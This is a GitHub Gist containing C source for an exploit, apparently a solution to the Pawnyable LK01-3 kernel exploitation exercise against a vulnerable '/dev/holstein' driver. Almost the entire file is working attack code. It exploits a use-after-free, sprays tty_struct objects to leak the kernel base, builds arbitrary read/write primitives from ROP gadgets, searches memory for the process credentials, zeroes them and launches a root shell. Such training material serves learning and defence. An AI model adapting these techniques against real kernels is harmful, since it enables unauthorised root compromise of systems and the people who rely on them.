Created
November 28, 2022 11:08
-
-
Save brant-ruan/35c057ccaa66a8c92e452d366dd50ecc to your computer and use it in GitHub Desktop.
Pawnyable LK01-3
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/prctl.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define SPRAY_NUM 100 | |
#define ofs_tty_ops 0xc39c60 | |
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b2d06) | |
#define mov_eax_ptr_rdx_ret (kbase + 0x4469e8) | |
void fatal(char *msg) { | |
perror(msg); | |
exit(-1); | |
} | |
int fd1, fd2, fd3, fd4; | |
unsigned long kbase; | |
unsigned long g_buf; | |
int spray[SPRAY_NUM]; | |
char buf[0x400]; | |
int cache_fd_aaw = -1; | |
int cache_fd_aar = -1; | |
unsigned int AAR32(unsigned long addr) { | |
if (cache_fd_aar == -1) { | |
read(fd4, buf, 0x20); | |
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8; | |
write(fd4, buf, 0x20); | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
int v = ioctl(spray[i], 0, addr /* rdx */); | |
if (v != -1) { | |
cache_fd_aar = spray[i]; | |
return v; | |
} | |
} | |
} else | |
return ioctl(cache_fd_aar, 0, addr); | |
} | |
void AAW32(unsigned long addr, unsigned int val) { | |
printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr); | |
if (cache_fd_aaw == -1) { | |
read(fd4, buf, 0x20); | |
*(unsigned long *)&buf[0x18] = g_buf + 0x3f0 - 12 * 8; | |
write(fd4, buf, 0x20); | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
int v = ioctl(spray[i], val, addr /* rdx */); | |
if (v != -1) { | |
cache_fd_aaw = spray[i]; | |
break; | |
} | |
} | |
} else | |
ioctl(cache_fd_aaw, val, addr); | |
} | |
int main() { | |
puts("[*] UAF-1: open fd1, fd2; close fd1"); | |
fd1 = open("/dev/holstein", O_RDWR); | |
fd2 = open("/dev/holstein", O_RDWR); | |
close(fd1); // free(g_buf) | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = 0; i < SPRAY_NUM / 2; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[*] leaking kernel base and g_buf with tty_struct\n"); | |
read(fd2, buf, 0x400); // read tty_struct | |
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops; | |
g_buf = *(unsigned long *)&buf[0x38] - 0x38; | |
printf("[+] leaked kernel base address: 0x%lx\n", kbase); | |
printf("[+] leaked g_buf address: 0x%lx\n", g_buf); | |
if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) { | |
printf("[-] heap spraying failed\n"); | |
for (int i = 0; i < SPRAY_NUM / 2; i++) | |
close(spray[i]); | |
exit(-1); | |
} | |
*(unsigned long *)&buf[0x3f0] = mov_ptr_rdx_rcx_ret; | |
*(unsigned long *)&buf[0x3f8] = mov_eax_ptr_rdx_ret; | |
write(fd2, buf, 0x400); | |
puts("[*] UAF-2: open fd3, fd4; close fd3"); | |
fd3 = open("/dev/holstein", O_RDWR); | |
fd4 = open("/dev/holstein", O_RDWR); | |
close(fd3); // free(g_buf) | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
puts("[*] changing .comm"); | |
if (prctl(PR_SET_NAME, "aptx4869") != 0) | |
fatal("prctl"); | |
unsigned long addr; | |
for (addr = g_buf - 0x1000000;; addr += 0x8) { | |
if ((addr & 0xfffff) == 0) | |
printf("[*] searching for .comm at 0x%lx\n", addr); | |
if (AAR32(addr) == 0x78747061 && AAR32(addr + 4) == 0x39363834) { | |
printf("[+] .comm found at 0x%lx\n", addr); | |
break; | |
} | |
} | |
unsigned long addr_cred = 0; | |
addr_cred |= AAR32(addr - 8); | |
addr_cred |= (unsigned long)AAR32(addr - 4) << 32; | |
printf("[+] current->cred = 0x%lx\n", addr_cred); | |
puts("[*] changing cred to root"); | |
for (int i = 1; i < 9; i++) | |
AAW32(addr_cred + i * 4, 0); | |
puts("[*] spawning root shell"); | |
system("/bin/sh"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment